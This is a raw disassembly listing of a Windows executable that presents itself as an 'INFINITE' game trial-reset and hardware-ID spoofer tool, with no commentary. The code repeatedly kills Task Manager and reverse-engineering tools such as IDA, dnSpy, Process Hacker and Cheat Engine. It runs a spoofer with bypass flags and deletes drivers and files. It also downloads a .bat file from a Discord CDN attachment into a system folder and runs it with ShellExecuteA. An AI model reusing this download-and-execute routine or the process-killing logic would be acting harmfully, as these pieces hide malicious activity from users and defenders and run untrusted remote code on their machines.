lea rcx, [rsp + 0x4670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x46b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x46b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x46b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x46d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x46d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x46d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x46f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x46f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x46f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4770]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x4790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x47b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x47b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x47b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x47d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x47d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x47d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x47f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x47f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x47f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x48b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x48b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x48b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x48d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x48d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x48d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x48f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x48f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x48f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x49b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x49b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x49b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x49d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x49d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x49d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x49f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x49f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x49f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__IFINITEBYPASSED__random_
lea rcx, [rsp + 0x4a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x4a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x4a70]
call fcn.14005d8e0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rdx, str.Trials_Successfully_Reset._Enjoy_
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x1bd0], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x1bd0]
call fcn.1400abde0
mov r9d, Ordinal_50
lea r8, str.INFINITE_BYPASSED
lea rdx, str.INFINITE_BYPASSED
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcdb0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcd90]
call fcn.14005d9d0
lea rcx, [rsp + 0xcd90]
call fcn.14005d8d0
mov qword [rsp + 0x1bd8], rax
lea rcx, [rsp + 0xcdb0]
call fcn.14005d8d0
mov qword [rsp + 0x1be0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1bd8]
mov rdx, qword [rsp + 0x1be0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xcdd0]
call fcn.14005d8d0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rsp + 0xcd90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcdb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcdd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcdf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xce10]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce6c]
lea rcx, [rsp + 0x1be8]
call fcn.14005eef0
lea rdx, [rsp + 0x1be8]
lea rcx, str.INFINITE_TIMER
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a7173
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.TIMEBYPASSER
lea rdx, str.PLEASE_RENAME_INFINITE_EXE_AS_TIMEBYPASSER
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r9d, Ordinal_50
lea r8, [0x14039a000]
lea rdx, str.REOPEN_INFINITE_AFTER_NAMING_IT_TIMEBYPASSER
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r9d, Ordinal_50
lea r8, str.IMPORTANT________
lea rdx, str.AFTER_YOU_PICK_YOUR_SERIALS_AND_PRESS_LAUNCH_BE_READY_TO_CLICK_OK_RIGHT_AWAY
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rsp + 0x1a0], 4
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x1cf0]
call fcn.1400af6e0
mov rcx, rax
call fcn.1400af6f0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_TIMEBYPASSER.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:UserspublicDesktopTIMEBYPASSER.exe
call fcn.1402b632c
mov r9d, Ordinal_50
lea r8, str.INFINITE_TIMER_BYPASSED_ENJOY
lea rdx, str.INFINITE_TIMER_BYPASSED_ENJOY
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1400f6410
mov r8b, 1
mov edx, 0xa
lea rcx, str.__HWID_Checker
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce6c]
lea rcx, [rsp + 0x1bf0]
call fcn.14005eef0
lea rdx, [rsp + 0x1bf0]
lea rcx, str.Refresh_Checker
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a80e2
lea rcx, str.C:Program_FilesWindows_DefenderPCRENAMER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderMAS_1.5_AIO_CRC32_21D20776.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
